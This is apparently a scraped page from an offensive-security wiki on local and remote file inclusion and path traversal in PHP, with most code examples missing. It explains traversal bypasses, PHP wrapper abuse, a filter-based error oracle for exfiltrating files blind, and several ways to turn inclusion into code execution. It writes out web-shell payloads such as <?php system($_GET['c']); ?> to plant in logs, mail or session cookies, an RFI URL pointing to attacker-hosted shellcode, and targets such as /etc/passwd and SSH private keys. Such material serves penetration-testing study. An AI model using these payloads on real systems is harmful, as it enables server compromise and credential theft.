File Inclusion/Path traversal
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Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
Mixing several *nix LFI lists and adding more paths I have created this one:
Try also to change / for \
Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Merge of different wordlists:
Try also to change / for \
Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
Check the LFI list of linux.
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
This is solved since PHP 5.4
You could use non-standard encondings like double URL encode (and others):
Maybe the back-end is checking the folder path:
The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
Determine Directory Depth: Ascertain the depth of your current directory by successfully fetching the /etc/passwd file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
Probe for Folders: Append the name of the suspected folder (e.g., private) to the URL, then navigate back to /etc/passwd. The additional directory level requires incrementing the depth by one:
Interpret the Outcomes: The server's response indicates whether the folder exists:
Error / No Output: The folder private likely does not exist at the specified location.
Contents of /etc/passwd: The presence of the private folder is confirmed.
Recursive Exploration: Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
/etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
When the last 6 characters are passwd, appending a / (making it passwd/) doesn't change the targeted file.
Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.
The provided examples demonstrate how to utilize path truncation to access /etc/passwd, a common target due to its sensitive content (user account information):
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
Using Dot Segments and Additional Characters: Traversal sequences (../) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
Determining the Required Number of Traversals: Through trial and error, one can find the precise number of ../ sequences needed to navigate to the root directory and then to /etc/passwd, ensuring that any appended strings (like .php) are neutralized but the desired path (/etc/passwd) remains intact.
Starting with a Fake Directory: It's a common practice to begin the path with a non-existent directory (like a/). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
This vulnerability was corrected in PHP 5.3.
In php this is disable by default because allow_url_include is Off. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:
If for some reason allow_url_include is On, but PHP is filtering access to external webpages, according to this post, you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
In the previous code, the final +.txt was added because the attacker needed a string that ended in .txt, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
Another example not using the php:// protocol would be:
In python in a code like this one:
If the user passes an absolute path to file_name, the previous path is just removed:
It is the intended behaviour according to the docs:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
It looks like if you have a Path Traversal in Java and you ask for a directory instead of a file, a listing of the directory is returned. This won't be happening in other languages (afaik).
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
string.rot13
string.toupper
string.tolower
string.strip_tags: Remove tags from the data (everything between "<" and ">" chars)
Note that this filter has disappear from the modern versions of PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
zlib.inflate: Decompress the data
mcrypt.* : Deprecated
mdecrypt.* : Deprecated
Other Filters
Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
consumed
dechunk: reverses HTTP chunked encoding
convert.*
The part "php://filter" is case insensitive
In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)
Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it need to be specifically activated.
Note that this protocol is restricted by php configurations allow_url_open and allow_url_include
Expect has to be activated. You can execute code using this:
Specify your payload in the POST parameters:
A .phar file can be utilized to execute PHP code when a web application leverages functions such as include for file loading. The PHP code snippet provided below demonstrates the creation of a .phar file:
To compile the .phar file, the following command should be executed:
Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.
Check more possible protocols to include here:
php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
zlib:// — Compression Streams
glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
ssh2:// — Secure Shell 2
ogg:// — Audio streams (Not useful to read arbitrary files)
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
Similarly, for executing arbitrary system commands, one might use:
It's important to URL-encode these payloads.
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This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
Explained previously, follow this link.
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. Other possible log paths:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Send a mail to a internal account (user@localhost) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>
Upload a lot of shells (for example : 100)
Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Upload a ZIP file containing a PHP shell compressed and access:
Check if the website use PHP Session (PHPSESSID)
In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files
Set the cookie to <?php system('cat /etc/passwd');?>
Use the LFI to include the PHP session file
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
The logs for the FTP server vsftpd are located at /var/log/vsftpd.log. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
Inject a PHP payload into the username field during the login process.
Post injection, utilize the LFI to retrieve the server logs from /var/log/vsftpd.log.
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Upload a file that will be stored as temporary in /tmp, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
If you found a Local File Inclusion even if you don't have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
pearcmd.php + URL argsAs explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
The following abuses a CRLF vuln to get RCE (from here):
If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:
PHP_STREAM_PREFER_STUDIO + Path DisclosureIf you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:
If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:
If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).
I don't know how is this useful but it might be. Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.
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